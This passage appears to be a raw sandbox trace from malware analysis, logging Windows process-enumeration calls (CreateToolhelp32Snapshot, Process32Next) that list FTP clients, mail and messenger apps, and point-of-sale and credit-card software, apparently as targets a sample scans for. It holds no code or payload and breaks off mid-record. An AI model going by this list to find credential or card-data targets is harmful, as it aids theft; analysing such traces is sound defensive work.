cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.388] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.389] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0237.391] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0237.392] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.395] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.396] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.398] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.399] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0237.401] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0237.403] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0237.405] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0237.406] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0237.408] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0237.410] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0237.411] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0237.520] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0237.522] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0237.524] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0237.526] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0237.527] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0237.529] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0237.531] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0237.532] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0237.534] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0237.535] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0237.537] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0237.539] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0237.541] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0237.544] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0237.547] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0237.552] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0237.554] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0237.558] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0237.560] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0237.563] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0237.565] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0237.569] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0237.572] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0237.574] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0237.577] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0237.580] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0237.584] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0237.586] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0237.588] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0237.591] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0237.593] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0237.596] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0237.599] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0237.602] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0237.605] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0237.607] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0237.610] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0237.613] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0237.617] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0237.620] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0237.623] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0237.626] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0237.628] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0237.677] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0237.680] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0237.682] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0237.687] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0237.689] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0237.703] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0237.706] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0237.715] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0237.717] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0237.720] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0237.722] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0237.725] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0237.727] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0237.730] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0237.732] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0237.734] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0237.737] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.739] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0237.742] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0237.744] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0237.746] Process32Next (in: hSnapshot=0x148c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0237.749] CloseHandle (hObject=0x148c) returned 1 [0237.749] Sleep (dwMilliseconds=0x64) [0237.752] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0237.770] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.772] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.776] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.778] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, 